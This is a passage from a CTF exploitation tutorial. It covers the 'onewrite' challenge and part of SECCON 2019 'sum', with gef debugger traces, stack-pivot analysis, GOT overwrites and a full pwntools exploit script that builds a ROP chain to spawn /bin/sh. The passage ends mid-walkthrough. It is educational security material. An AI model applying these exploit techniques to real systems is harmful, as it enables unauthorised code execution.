0x00000000002b1120 - 0x00000000002b2bf0 is .data
0x00000000002b2bf0 - 0x00000000002b2c38 is __libc_subfreeres
0x00000000002b2c40 - 0x00000000002b32e8 is __libc_IO_vtables
0x00000000002b32e8 - 0x00000000002b32f0 is __libc_atexit
0x00000000002b32f0 - 0x00000000002b32f8 is __libc_thread_subfreeres
0x00000000002b3300 - 0x00000000002b49b8 is .bss
0x00000000002b49b8 - 0x00000000002b49e0 is __libc_freeres_ptrs
```

So we can see that the bss starts at `0x00000000002b3300 + 0x00007fd53eb27000 = 0x7fd53edda300`

`0x7f8be09a60f0 - 0x7f8be0700a15 = 0x2a56db`

```
gef➤  x/50g 0x7fd53edda300
0x7fd53edda300: 0x0 0x0
0x7fd53edda310: 0x0 0x0
0x7fd53edda320: 0x40  0x0
0x7fd53edda330: 0x0 0x0
0x7fd53edda340: 0x0 0x7fd53edd9320
0x7fd53edda350: 0x0 0x0
0x7fd53edda360: 0x0 0x0
0x7fd53edda370: 0x0 0x0
0x7fd53edda380: 0x0 0x0
0x7fd53edda390: 0x0 0x0
0x7fd53edda3a0: 0x0 0x0
0x7fd53edda3b0: 0x0 0x0
0x7fd53edda3c0: 0x0 0x0
0x7fd53edda3d0: 0x0 0x0
0x7fd53edda3e0: 0x0 0x0
0x7fd53edda3f0: 0x0 0x0
0x7fd53edda400: 0x0 0x0
0x7fd53edda410: 0x0 0x0
0x7fd53edda420: 0x0 0x0
0x7fd53edda430: 0x0 0x0
0x7fd53edda440: 0x0 0x0
0x7fd53edda450: 0x0 0x0
0x7fd53edda460: 0x0 0x0
0x7fd53edda470: 0x0 0x0
0x7fd53edda480: 0x0 0x0
```

So we can see there is a lot of blank space here for us to use. I choose `0x7fd53edda3b0` randomly. Calculating the offset from the leaked pie address, we see that the offset is `0x2aa99b`.

Stack Pivot

The last thing we will need to know is where to store our rop chain. This will directly deal with our stack pivot.

The stack pivot attack here will work when `do_overwrite` returns. We can see that when a function returns (calls `ret` instruction), the `rsp` register (which points to the top of the stack) points to the instruction address which will be executed:

```
──────────────────────────────────────────────────────────────── stack ────
0x00007ffce47b3838│+0x0000: 0x00007f8889c49ab2  →   nop    ← $rsp
0x00007ffce47b3840│+0x0008: 0x00007f8889c4a780  →   push r15
0x00007ffce47b3848│+0x0010: 0x00007f8889c49a15  →   sub rsp, 0x18
0x00007ffce47b3850│+0x0018: 0x0000000000000000
0x00007ffce47b3858│+0x0020: 0x00007f8889c49b04  →   call 0x7f8889c49a15  ← $rsi
0x00007ffce47b3860│+0x0028: 0x00007f8889c49060  →   sub rsp, 0x8
0x00007ffce47b3868│+0x0030: 0x00007f8889c4a089  →   mov edi, eax
0x00007ffce47b3870│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f8889c49a0a                  call   0x7f8889c870f0
   0x7f8889c49a0f                  nop
   0x7f8889c49a10                  add    rsp, 0x18
 → 0x7f8889c49a14                  ret
   ↳  0x7f8889c49ab2                  nop
      0x7f8889c49ab3                  add    rsp, 0x18
      0x7f8889c49ab7                  ret
      0x7f8889c49ab8                  sub    rsp, 0x8
      0x7f8889c49abc                  mov    rax, QWORD PTR [rip+0x2a8d25]
# 0x7f8889ef27e8
      0x7f8889c49ac3                  mov    ecx, 0x0
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f8889c49a14 → ret
[#1] 0x7f8889c49ab2 → nop
[#2] 0x7f8889c4a780 → push r15
[#3] 0x7f8889c49a15 → sub rsp, 0x18
─────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffce47b3838
gef➤  x/g $rsp
0x7ffce47b3838: 0x7f8889c49ab2
gef➤  x/3i 0x7f8889c49ab2
   0x7f8889c49ab2:  nop
   0x7f8889c49ab3:  add    rsp,0x18
   0x7f8889c49ab7:  ret
```

So how our stack pivot will work, we will add a value to the `rsp` register, which will shift where it returns. We will just shift it up so it starts executing our rop chain, which we can store further up the stack. To find the exact offset, we can just see where the stack pivot will pivot us to, and just store the rop chain at that offset. We can see how our gadget shifts it:

First we add `0xd0` to the `rsp`:

```
Breakpoint 1, 0x00007f3bdb37d6f3 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8
$rbx   : 0x1
$rcx   : 0x0
$rdx   : 0x8
$rsp   : 0x00007ffd5f925f68  →  0x0000000000000001
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0
$rip   : 0x00007f3bdb37d6f3  →   add rsp, 0xd0
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f925f68│+0x0000: 0x0000000000000001   ← $rsp
0x00007ffd5f925f70│+0x0008: 0x0000000000000001
0x00007ffd5f925f78│+0x0010: 0x0000000000000008
0x00007ffd5f925f80│+0x0018: 0x0000000000000000
0x00007ffd5f925f88│+0x0020: 0xd4842db0baa9bc00
0x00007ffd5f925f90│+0x0028: 0x00007f3bdb375060  →   sub rsp, 0x8
0x00007ffd5f925f98│+0x0030: 0x00007f3bdb376090  →   cmp ebx, 0x68747541
0x00007ffd5f925fa0│+0x0038: 0x0000000000000000
───────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6e6                  xor    rcx, QWORD PTR fs:0x28
   0x7f3bdb37d6ef                  mov    eax, edx
   0x7f3bdb37d6f1                  jne    0x7f3bdb37d6fc
 → 0x7f3bdb37d6f3                  add    rsp, 0xd0
   0x7f3bdb37d6fa                  pop    rbx
   0x7f3bdb37d6fb                  ret
   0x7f3bdb37d6fc                  call   0x7f3bdb3b55d0
   0x7f3bdb37d701                  nop    DWORD PTR [rax+rax*1+0x0]
   0x7f3bdb37d706                  nop    WORD PTR cs:[rax+rax*1+0x0]
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6f3 → add rsp, 0xd0
─────────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$1 = (void *) 0x7ffd5f925f68
```

We can see that it has been shifted up by `0xd0`:

```
Breakpoint 2, 0x00007f3bdb37d6fa in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0x8
$rbx   : 0x1
$rcx   : 0x0
$rdx   : 0x8
$rsp   : 0x00007ffd5f926038  →  0xdb5d522c6f2f9d53
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0
$rip   : 0x00007f3bdb37d6fa  →   pop rbx
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f926038│+0x0000: 0xdb5d522c6f2f9d53   ← $rsp
0x00007ffd5f926040│+0x0008: 0x00007f3bdb3754fa  →   pop rdi
0x00007ffd5f926048│+0x0010: 0x00007f3bdb6203b0  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007ffd5f926050│+0x0018: 0x00007f3bdb37a9f2  →   pop rsi
0x00007ffd5f926058│+0x0020: 0x0000000000000000
0x00007ffd5f926060│+0x0028: 0x00007f3bdb3b54c5  →   pop rdx
0x00007ffd5f926068│+0x0030: 0x0000000000000000
0x00007ffd5f926070│+0x0038: 0x00007f3bdb3b30ac  →   pop rax
─────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6ec                  add    BYTE PTR [rax], al
   0x7f3bdb37d6ee                  add    BYTE PTR [rcx+0x480975d0], cl
   0x7f3bdb37d6f4                  add    esp, 0xd0
 → 0x7f3bdb37d6fa                  pop    rbx
   0x7f3bdb37d6fb                  ret
   0x7f3bdb37d6fc                  call   0x7f3bdb3b55d0
   0x7f3bdb37d701                  nop    DWORD PTR [rax+rax*1+0x0]
   0x7f3bdb37d706                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7f3bdb37d710                  push   rbp
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6fa → pop rbx
───────────────────────────────────────────────────────────────────────────
gef➤  p $rsp
$2 = (void *) 0x7ffd5f926038
```

Lastly we can see that we popped `rbx` which will increment the stack pointer (stack grows down):

```
Breakpoint 3, 0x00007f3bdb37d6fb in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x8
$rbx   : 0xdb5d522c6f2f9d53
$rcx   : 0x0
$rdx   : 0x8
$rsp   : 0x00007ffd5f926040  →  0x00007f3bdb3754fa  →   pop rdi
$rbp   : 0x00007f3bdb61afb0  →  0x00007f3bdb3759c3  →   sub rsp, 0x18
$rsi   : 0x00007ffd5f925f60  →  0x00007f3bdb37d6f3  →   add rsp, 0xd0
$rdi   : 0x0
$rip   : 0x00007f3bdb37d6fb  →   ret
$r8    : 0x00007f3bdd24e880  →  0x00007f3bdd24e880  →  [loop detected]
$r9    : 0x0
$r10   : 0x00007f3bdb3fb840  →   add BYTE PTR [rax], al
$r11   : 0x0000000000000246
$r12   : 0x00007f3bdb61e140  →  0x00007f3bdb6208c0  →  0x0000000000000000
$r13   : 0x1
$r14   : 0x00007f3bdb6208c0  →  0x0000000000000000
$r15   : 0x1
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────── stack ────
0x00007ffd5f926040│+0x0000: 0x00007f3bdb3754fa  →   pop rdi  ← $rsp
0x00007ffd5f926048│+0x0008: 0x00007f3bdb6203b0  →  0x0068732f6e69622f ("/bin
/sh"?)
0x00007ffd5f926050│+0x0010: 0x00007f3bdb37a9f2  →   pop rsi
0x00007ffd5f926058│+0x0018: 0x0000000000000000
0x00007ffd5f926060│+0x0020: 0x00007f3bdb3b54c5  →   pop rdx
0x00007ffd5f926068│+0x0028: 0x0000000000000000
0x00007ffd5f926070│+0x0030: 0x00007f3bdb3b30ac  →   pop rax
0x00007ffd5f926078│+0x0038: 0x000000000000003b (";"?)
────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f3bdb37d6ee                  add    BYTE PTR [rcx+0x480975d0], cl
   0x7f3bdb37d6f4                  add    esp, 0xd0
   0x7f3bdb37d6fa                  pop    rbx
 → 0x7f3bdb37d6fb                  ret
   ↳  0x7f3bdb3754fa                  pop    rdi
      0x7f3bdb3754fb                  ret
      0x7f3bdb3754fc                  mov    rax, QWORD PTR [rip+0x2ab915]
# 0x7f3bdb620e18
      0x7f3bdb375503                  xor    esi, esi
      0x7f3bdb375505                  test   rax, rax
      0x7f3bdb375508                  jne    0x7f3bdb37547b
────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "onewrite", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7f3bdb37d6fb → ret
[#1] 0x7f3bdb3754fa → pop rdi
[#2] 0x7f3bdb6203b0 → (bad)
[#3] 0x7f3bdb37a9f2 → pop rsi
```

```
gef➤  x/4g $rsp
0x7ffd5f926040: 0x7f3bdb3754fa  0x7f3bdb6203b0
0x7ffd5f926050: 0x7f3bdb37a9f2  0x0
gef➤  x/2i 0x7f3bdb3754fa
   0x7f3bdb3754fa:  pop    rdi
   0x7f3bdb3754fb:  ret
```

With that, we can see that `rsp` points to `0x7ffd5f926040` on the stack. For this iteration the stack leak was `0x7ffd5f925f70`. So the offset from the stack leak to where we store the start of our ROP Chain is `0x7ffd5f926040 - 0x7ffd5f925f70 = 0xd0`.

Exploit

Putting it all together, we have the following exploit:

```
# This exploit is based off of: https://github.com/EmpireCTF/empirectf
/blob/master/writeups/2019-01-19-Insomni-Hack-Teaser/README.md#onewrite

from pwn import *


target = process('./onewrite')
elf = ELF('onewrite')
#gdb.attach(target, gdbscript='pie b *0x106f3')

# Establish helper functions
def leak(opt):
    target.recvuntil('>')
    target.sendline(str(opt))
    leak = target.recvline()
    leak = int(leak, 16)
    return leak

def write(adr, val, other = 0):
    target.recvuntil('address :')
    target.send(str(adr))
    target.recvuntil('data :')
    if other == 0:
        target.send(p64(val))
    else:
        target.send(val)



# First leak the Stack address, and calculate where the return address will be
in do_overwrite
stackLeak = leak(1)
ripAdr = stackLeak + 0x18

# Calculate where the return address for __libc_csu_fini
csiRipAdr = stackLeak - 72

# Write over the return address in do_overwrite with do_leak
write(ripAdr, p8(0x04), 1)


# Leak the PIE address of do leak
doLeakAdr = leak(2)

# Calculate the base of PIE
pieBase = doLeakAdr - elf.symbols['do_leak']

# Calculate the address of the _fini_arr table, and the __libc_csu_fini function
using the PIE base
finiArrAdr = pieBase + elf.symbols['__do_global_dtors_aux_fini_array_entry']
csuFini = pieBase + elf.symbols["__libc_csu_fini"]
```

```
# Calculate the position of do_overwrite
doOverwrite = pieBase + elf.symbols['do_overwrite']

# Write over return address in do_overwrite with do_overwrite
write(ripAdr, p8(0x04), 1)
leak(1)

# Write over the two entries in _fini_arr table with do_overwrite, and restart
the loop
write(finiArrAdr + 8, doOverwrite)
write(finiArrAdr, doOverwrite)
write(csiRipAdr, csuFini)

# Increment stack address of saved rip for __libc_csu_fini due to new iteration
of loop
csiRipAdr += 8

# Establish rop gagdets, and "/bin/sh" address
popRdi = pieBase + 0x84fa
popRsi = pieBase + 0xd9f2
popRdx = pieBase + 0x484c5
popRax = pieBase + 0x460ac
syscall = pieBase + 0x917c
binshAdr = doLeakAdr + 0x2aa99b

# 0x00000000000106f3 : add rsp, 0xd0 ; pop rbx ; ret
pivotGadget = pieBase + 0x106f3

# Function which we will use to write Qwords using loop
def writeQword(adr, val):
    global csiRipAdr
    write(adr, val)
    write(csiRipAdr, csuFini)
    csiRipAdr += 8

# first wite "/bin/sh" to the designated place in memory
writeQword(binshAdr, u64("/bin/sh\x00"))

'''
Our ROP Chain will do this:
pop rdi ptr to "/bin/sh";   ret
pop rsi 0 ; ret
pop rdx 0 ; ret
pop rax 0x59 ; ret
syscall
'''

# write the ROP chain
writeQword(stackLeak + 0xd0, popRdi)
writeQword(stackLeak + 0xd8, binshAdr)
writeQword(stackLeak + 0xe0, popRsi)
writeQword(stackLeak + 0xe8, 0)
writeQword(stackLeak + 0xf0, popRdx)
```

```
writeQword(stackLeak + 0xf8, 0)
writeQword(stackLeak + 0x100, popRax)
writeQword(stackLeak + 0x108, 59)
writeQword(stackLeak + 0x110, syscall)


# write the ROP pivot gadget to the return address of do_overwrite, which will
trigger the rop chain
write(stackLeak - 0x10, pivotGadget)

# drop to an interactive shell
target.interactive()
```

When we run it:

```
$ python exploit.py
[+] Starting local process './onewrite': pid 14815
[!] Did not find any GOT entries
[*] '/Hackery/pod/modules/stack_pivot/insomnihack18_onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Switching to interactive mode
 $ w
 22:42:39 up  8:27,  1 user,  load average: 1.46, 1.54, 1.63
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:15   ?xdm?  39:17   0.01s /usr/lib
/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin
/gnome-session --session=ubuntu
$ ls
core  exploit.py  onewrite  readme.md
```

Just like that, we popped a shell!

Seccon 2019 Quals Sum

Let's take a look at the binary and libc:

```
$    file sum_ccafa40ee6a5a675341787636292bf3c84d17264
sum_ccafa40ee6a5a675341787636292bf3c84d17264: ELF 64-bit LSB executable, x86-64,
version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 3.2.0, BuildID[sha1]=593a57775caa3028bd2ab72873bedaa36734cdb6, not
stripped
$    pwn checksec sum_ccafa40ee6a5a675341787636292bf3c84d17264
[*] '/home/guyinatuxedo/Desktop/seccon
/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
1
5
0
6
$    ./sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
1
5
6
9
8
7
Segmentation fault (core dumped)
```

So we can see that it is a `64` bit elf, with a stack canary, and non-executable stack. The binary appears to add numbers together. We input the numbers one at a time, and a `0` will end the sequence. If we input 6 digits, it crashes. Let's take a look under the hood.

Reversing

When we take a look at the `main` function in ghidra, we see this:

```
undefined8 main(void)

{
  ulong uVar1;
  long in_FS_OFFSET;
  undefined8 ints;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  long *amnt;
  long local_18;
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  ints = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_18 = 0;
  amnt = &local_18;
  puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end
of sequence.\n");
  puts("[Example]\n2 3 4 0");
  read_ints((long)&ints,5);
  uVar1 = sum((long)&ints,amnt);
  if (5 < (int)uVar1) {
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  printf("%llu\n",local_18);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

When we look at the main function, we see that it first establishes an int array `ints`, that can hold 6 integers. The sixth integer in this array is `amnt`, which is a pointer to the next integer on the stack, `local_18`. First it prints out some text, then calls `read_ints`:

```
void read_ints(long ints,long amnt)

{
  int scanfCheck;
  long in_FS_OFFSET;
  long i;
  long stackCanary;

  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  i = 0;
  while (i <= amnt) {
    scanfCheck = __isoc99_scanf(&DAT_00400a68,ints + i * 8,i * 8);
    if (scanfCheck != 1) {
                    /* WARNING: Subroutine does not return */
      exit(-1);
    }
    if (*(long *)(ints + i * 8) == 0) break;
    i = i + 1;
  }
  if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
```

So here we can see it will scan in integers into the array passed by it's first argument, until it either gets a `0` or it scans in `amnt` + 1 integers. Under the context it is called, it will scan in a maximum of `6` integers into the `ints` array. Proceeding that it calls `sum`, with the arguments being the `ints` array and `amnt`:

```
ulong sum(long ints,long *x)

{
  long in_FS_OFFSET;
  uint i;
  long canary;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  *x = 0;
  i = 0;
  while (*(long *)(ints + (long)(int)i * 8) != 0) {
    *x = *(long *)(ints + (long)(int)i * 8) + *x;
    i = i + 1;
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (ulong)i;
}
```

So we can see that it adds up all of the values in `ints`, and stores them in `x`. In the context that it is called, it will add up the six (or less) values stored in `ints`, and store it in `amnt`. In addition to that, there is an integer overflow bug here, since it doesn't check if the values it is adding together will cause an overflow. Since we control `amnt`, we effectively have a write what where. The value returned is the number of numbers it added together. Looking at the rest of the main function, we see that if we gave it six numbers (thus causing the write what where bug), it will call `exit`. If not it will call `printf` and return from main.

Exploitation

So we have a write what where, with no relro or pie. The first problem is that right after our write, it will call `exit`. This can be solved by just overwriting the got address of `exit` (`0x601048`) with the start of `main` (`0x400903`). That way when it calls `exit`, it will just put us back at the start of `main`. This will give us a loop where we get multiple qword writes.

Now the next hurdle is getting a libc infoleak. At this point, one of my team-mates mksrg gave me the idea to do a stack pivot. When we take a look at the stack layout when `printf` is called (`exit` will also have this), we see something interesting:

```
gef➤  b *0x4009bf
Breakpoint 1 at 0x4009bf
gef➤  r
Starting program: /home/guyinatuxedo/Desktop
/sum/sum_ccafa40ee6a5a675341787636292bf3c84d17264
[sum system]
Input numbers except for 0.
0 is interpreted as the end of sequence.

[Example]
2 3 4 0
159
357
951
753
0
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────
registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x0
$rdx   : 0x20
$rsp   : 0x00007fffffffdee0  →  0x000000000000009f
$rbp   : 0x00007fffffffdf20  →  0x00000000004009e0  →  <__libc_csu_init+0> push
r15
$rsi   : 0x8ac
$rdi   : 0x0000000000400ad5  →  0x0100000a756c6c25 ("%llu"?)
$rip   : 0x00000000004009bf  →  <main+188> call 0x400620 <printf@plt>
$r8    : 0x0
$r9    : 0x0
$r10   : 0x00007ffff7b82cc0  →  0x0002000200020002
$r11   : 0x0000000000400a6c  →   add BYTE PTR [rax], al
$r12   : 0x0000000000400670  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe000  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────
stack ────
0x00007fffffffdee0│+0x0000: 0x000000000000009f     ← $rsp
0x00007fffffffdee8│+0x0008: 0x0000000000000165
0x00007fffffffdef0│+0x0010: 0x00000000000003b7
0x00007fffffffdef8│+0x0018: 0x00000000000002f1
0x00007fffffffdf00│+0x0020: 0x0000000000000000
0x00007fffffffdf08│+0x0028: 0x00007fffffffdf10  →  0x00000000000008ac
0x00007fffffffdf10│+0x0030: 0x00000000000008ac
0x00007fffffffdf18│+0x0038: 0x571694db34020d00
────────────────────────────────────────────────────────────
code:x86:64 ────
```

```
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        #
0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        #
0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x00000000000008ac,
   $rdx = 0x0000000000000020,
   $rcx = 0x0000000000000000
)
────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x4009bf → main()
────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤
```

So when `printf` is called, the values on the stack are the numbers that we sent to be added up. Of course, when the `call` instruction happens the return address (the instruction right after the call) will be pushed onto the stack. But after that on the stack, will be values we control. So if we were to overwrite the got address of `printf` with a rop gadget like `pop rdi; ret`, we can start roping.

To find out ROP gadget:

```
$    ROPgadget --binary sum_ccafa40ee6a5a675341787636292bf3c84d17264 | grep "pop
rdi"
0x0000000000400a43 : pop rdi ; ret
```

Now for the rop chain itself, it will contain the following values:

```
0x00:    popRdi Instruction
0x08:    got address of puts
0x10:    plt address of puts
0x18:    0x4009a7 (the `exit` call, so we will loop back to main)
0x20:    "0" (to end the number sequence)
```

First off, remember that this chain is executed when `printf` is called, after we overwrite the got address of printf with `0x400a43`. Now this is just a rop chain to give us a libc infoleak by using `puts` to print the got address of `puts`. When I first tried this, I ran into some issues where what I was doing was messing with some of the internals of puts/scanf. I played around with what I was calling, and where I was jumping, and after a little bit I got something that worked. Let's see this rop gadget in action:

First we hit printf:

```
────────────────────────────────────────────────────────────────── stack ────
0x00007ffcc5e05900│+0x0000: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
← $rsp
0x00007ffcc5e05908│+0x0008: 0x0000000000601018  →  0x00007fc3902639c0  →
<puts+0> push r13
0x00007ffcc5e05910│+0x0010: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR
[rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0018: 0x00000000004009a7  →  <main+164> call 0x400660
<exit@plt>
0x00007ffcc5e05920│+0x0020: 0x0000000000000000
0x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0030: 0x0000000001202a02
0x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00
──────────────────────────────────────────────────────────── code:x86:64 ────
     0x4009af <main+172>       lock   mov rsi, rax
     0x4009b3 <main+176>       lea    rdi, [rip+0x11b]        # 0x400ad5
     0x4009ba <main+183>       mov    eax, 0x0
 →   0x4009bf <main+188>       call   0x400620 <printf@plt>
   ↳    0x400620 <printf@plt+0>   jmp    QWORD PTR [rip+0x200a02]        #
0x601028
        0x400626 <printf@plt+6>   push   0x2
        0x40062b <printf@plt+11>  jmp    0x4005f0
        0x400630 <alarm@plt+0>    jmp    QWORD PTR [rip+0x2009fa]        #
0x601030
        0x400636 <alarm@plt+6>    push   0x3
        0x40063b <alarm@plt+11>   jmp    0x4005f0
──────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?),
   $rsi = 0x0000000001202a02,
   $rdx = 0x0000000000000020,
   $rcx = 0x0000000000000000
)
──────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4009bf → main()
─────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00000000004009bf in main ()
gef➤
```

Then we have an iteration of the `pop rdi; ret` instruction to rid ourselves of the return address pushed onto the stack by `call`:

```
stack ────
0x00007ffcc5e058f8│+0x0000: 0x00000000004009c4  →  <main+193> mov eax, 0x0     ←
$rsp
0x00007ffcc5e05900│+0x0008: 0x0000000000400a43  →  <__libc_csu_init+99> pop rdi
0x00007ffcc5e05908│+0x0010: 0x0000000000601018  →  0x00007fc3902639c0  →
<puts+0> push r13
0x00007ffcc5e05910│+0x0018: 0x0000000000400600  →  <puts@plt+0> jmp QWORD PTR
[rip+0x200a12]        # 0x601018
0x00007ffcc5e05918│+0x0020: 0x00000000004009a7  →  <main+164> call 0x400660
<exit@plt>
0x00007ffcc5e05920│+0x0028: 0x0000000000000000
0x00007ffcc5e05928│+0x0030: 0x00007ffcc5e05930  →  0x0000000001202a02
0x00007ffcc5e05930│+0x0038: 0x0000000001202a02
```

```
code:x86:64 ────
 →   0x400a43 <__libc_csu_init+99> pop    rdi
     0x400a44 <__libc_csu_init+100> ret
     0x400a45                  nop
     0x400a46                  nop    WORD PTR cs:[rax+rax*1+0x0]
     0x400a50 <__libc_csu_fini+0> repz   ret
     0x400a52                  add    BYTE PTR [rax], al
```

```
threads ────
[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP
```

```
trace ────
[#0] 0x400a43 → __libc_csu_init()
[#1] 0x400a43 → __libc_csu_init()
[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12]        # 0x601018
[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]
```

```
0x0000000000400a43 in __libc_csu_init ()
gef➤
gef➤  s

